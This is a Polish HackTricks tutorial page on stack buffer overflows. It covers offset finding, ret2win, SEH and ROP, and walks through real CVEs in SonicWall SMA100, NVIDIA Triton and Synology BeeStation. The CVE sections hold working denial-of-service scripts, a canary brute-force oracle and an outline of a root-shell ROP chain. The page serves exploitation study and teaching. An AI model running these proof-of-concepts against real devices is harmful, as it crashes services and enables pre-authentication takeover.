Stack Overflow

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Czym jest Stack Overflow

stack overflow to luka, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Ta nadmiarowa ilość danych będzie nadpisywać sąsiednią przestrzeń pamięci, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnego wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie sprawdzają granic wejścia.

Głównym problemem tego nadpisania jest to, że zapisany wskaźnik instrukcji (EIP/RIP) i zapisany wskaźnik bazowy (EBP/RBP) służące do powrotu do poprzedniej funkcji są przechowywane na stosie. W związku z tym atakujący będzie w stanie je nadpisać i kontrolować przepływ wykonania programu.

Luka zwykle powstaje, ponieważ funkcja kopiuje na stos więcej bajtów niż przydzielono dla niej, dzięki czemu może nadpisać inne części stosu.

Niektóre powszechnie podatne funkcje to: strcpy, strcat, sprintf, gets… Również funkcje takie jak fgets, read i memcpy, które przyjmują argument długości, mogą być użyte w sposób podatny, jeśli określona długość jest większa niż przydzielona.

Na przykład następujące funkcje mogą być podatne:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Znajdowanie offsetów Stack Overflows

Najczęstszym sposobem na znalezienie Stack Overflows jest podanie bardzo dużego wejścia z As (np. python3 -c 'print("A"*1000)') i oczekiwanie na Segmentation Fault, wskazujący, że próbowano uzyskać dostęp do adresu 0x41414141.

Ponadto, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset, po którym możliwe jest nadpisanie adresu powrotu, do tego zwykle używa się De Bruijn sequence. Dla danego alfabetu o rozmiarze k i podciągów długości n jest to ciąg cykliczny, w którym każdy możliwy podciąg długości n występuje dokładnie raz jako ciągły podciąg.

W ten sposób, zamiast ręcznie ustalać, jaki offset jest potrzebny do kontrolowania EIP, można użyć jednego z takich ciągów jako padding i następnie znaleźć offset bajtów, które go nadpisały.

Do tego można użyć pwntools:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

lub GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie overwrite wartości zmiennych lokalnych na stosie aż do zapisanych EBP/RBP and EIP/RIP (or even more).
Najczęstszym sposobem nadużycia tego typu podatności jest modifying the return address, tak aby po zakończeniu funkcji control flow will be redirected wherever the user specified w tym wskaźniku.

Jednak w innych scenariuszach samo overwriting some variables values in the stack może wystarczyć do exploitatacji (np. w łatwych zadaniach CTF).

Ret2win

W tego typu wyzwaniach CTF w binarce znajduje się function inside the binary, która jest never called, a którą you need to call in order to win. Dla tych zadań wystarczy znaleźć offset to overwrite the return address oraz find the address of the function do wywołania (zazwyczaj ASLR będzie wyłączone), tak aby po zwróceniu vulnerable function została wywołana ukryta funkcja:

Ret2win

Stack Shellcode

W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Na 32-bitowym Windowsie overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH jako krótkiego skoku, aby pivotować z powrotem do dużego bufora, w którym znajduje się shellcode. Typowy wzorzec to krótki jmp w nSEH, który trafia na 5-bajtowy near jmp umieszczony tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu.

Windows Seh Overflow

ROP & Ret2… techniques

Ta technika stanowi fundamentalny framework do obejścia głównej ochrony przeciwko poprzedniej technice: No executable stack (NX). Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall…), które ostatecznie uruchomią dowolne polecenia poprzez nadużycie istniejących instrukcji w binarce:

ROP & JOP

Heap Overflows

Overflow nie zawsze będzie na stacku — może również występować w heap, na przykład:

Heap Overflow

Typy zabezpieczeń

Istnieje kilka zabezpieczeń próbujących uniemożliwić eksploatację podatności — sprawdź je w:

Common Binary Exploitation Protections & Bypasses

Przykład z praktyki: CVE-2025-40596 (SonicWall SMA100)

Dobrym przykładem, dlaczego sscanf nigdy nie powinno być używane do parsowania niezaufanego wejścia, pojawił się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN.
Wrażliwa procedura w /usr/src/EasyAccess/bin/httpd próbuje wyodrębnić wersję i endpoint z każdego URI, które zaczyna się od /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Pierwsza konwersja (%2s) bezpiecznie zapisuje dwa bajty do version (np. "v1").
  2. Druga konwersja (%s) nie ma specyfikatora długości, dlatego sscanf będzie kopiować aż do pierwszego bajtu NUL.
  3. Ponieważ endpoint znajduje się na stack i jest 0x800 bytes long, podanie ścieżki dłuższej niż 0x800 bytes uszkadza wszystko, co znajduje się za buforem ‑ w tym stack canary i saved return address.

Jednolinijkowy proof-of-concept wystarczy, aby wywołać awarię przed uwierzytelnieniem:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Mimo że stack canaries przerywają proces, atakujący nadal zyskuje prymityw Denial-of-Service (a przy dodatkowych information leaks — możliwe code-execution).

Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Triton Inference Server firmy NVIDIA (≤ v25.06) zawierał wiele stack-based overflows dostępnych przez jego HTTP API. Wzorzec podatności pojawiał się wielokrotnie w http_server.cc i sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą bieżące ciało żądania HTTP.
  2. Każdy segment powoduje alokację 16-byte evbuffer_iovec na stosie za pomocą alloca()bez górnego ograniczenia.
  3. Nadużywając HTTP chunked transfer-encoding, klient może zmusić żądanie do podziału na setki tysięcy 6-bajtowych kawałków ("1\r\nA\r\n"). To sprawia, że n rośnie bez ograniczeń, aż stos zostanie wyczerpany.

Dowód koncepcji (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i **crash** the daemon on a default build.

### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

Synacktiv’s Pwn2Own 2025 chain wykorzystał pre-auth overflow w `SYNO.BEE.AdminCenter.Auth` na porcie 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes dane atakującego do 4096-bajtowego stack buffer, ale błędnie ustawia `decoded_len = auth_info->len`. Ponieważ CGI worker forks per request, każde child dziedziczy parent’s stack canary, więc jedna stabilna overflow primitive wystarczy zarówno do skompromitowania stosu, jak i do leak wszystkich wymaganych sekretów.

#### Base64-decoded JSON as a structured overflow
Zdekodowany blob musi być poprawnym JSON-em i zawierać klucze "state" i "code"; w przeciwnym razie parser throws zanim overflow stanie się użyteczny. Synacktiv rozwiązał to przez Base64-encoding payloadu, który dekoduje się do JSON, następnie NUL byte, a potem overflow stream. `strlen(decoded)` zatrzymuje się na NUL, więc parsowanie się udaje, ale `SLIBCBase64Decode` już nadpisał stack za obiektem JSON, obejmując canary, saved RBP i return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi tworzy fork dla każdego żądania HTTP, więc wszystkie procesy potomne dzielą ten sam canary, układ stosu i PIE slide. Exploit traktuje kod statusu HTTP jako oracle: odpowiedź 200 oznacza, że zgadnięty bajt zachował stos, podczas gdy 502 (lub zerwane połączenie) oznacza, że proces się zawiesił. Brute-forcing każdego bajtu sekwencyjnie odzyskuje 8-bajtowy canary, zapisany wskaźnik stosu i adres powrotu wewnątrz libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr po prostu wywołuje bf_next_byte osiem razy, doklejając potwierdzony prefix. Synacktiv zrównoleglił te oracles przy użyciu ~16 worker threads, skracając całkowity leak time (canary + stack ptr + lib base) do poniżej trzech minut.

Od leaks do ROP & execution

Po poznaniu library base, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) budują prymityw arb_write, który umieszcza /bin/bash, -c oraz polecenie atakującego na leaked stack address. Na koniec łańcuch ustawia konwencję wywołań dla SLIBCExecl (wrappera BeeStation wokół execl(2)), dając root shell bez potrzeby osobnego info-leak bug.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks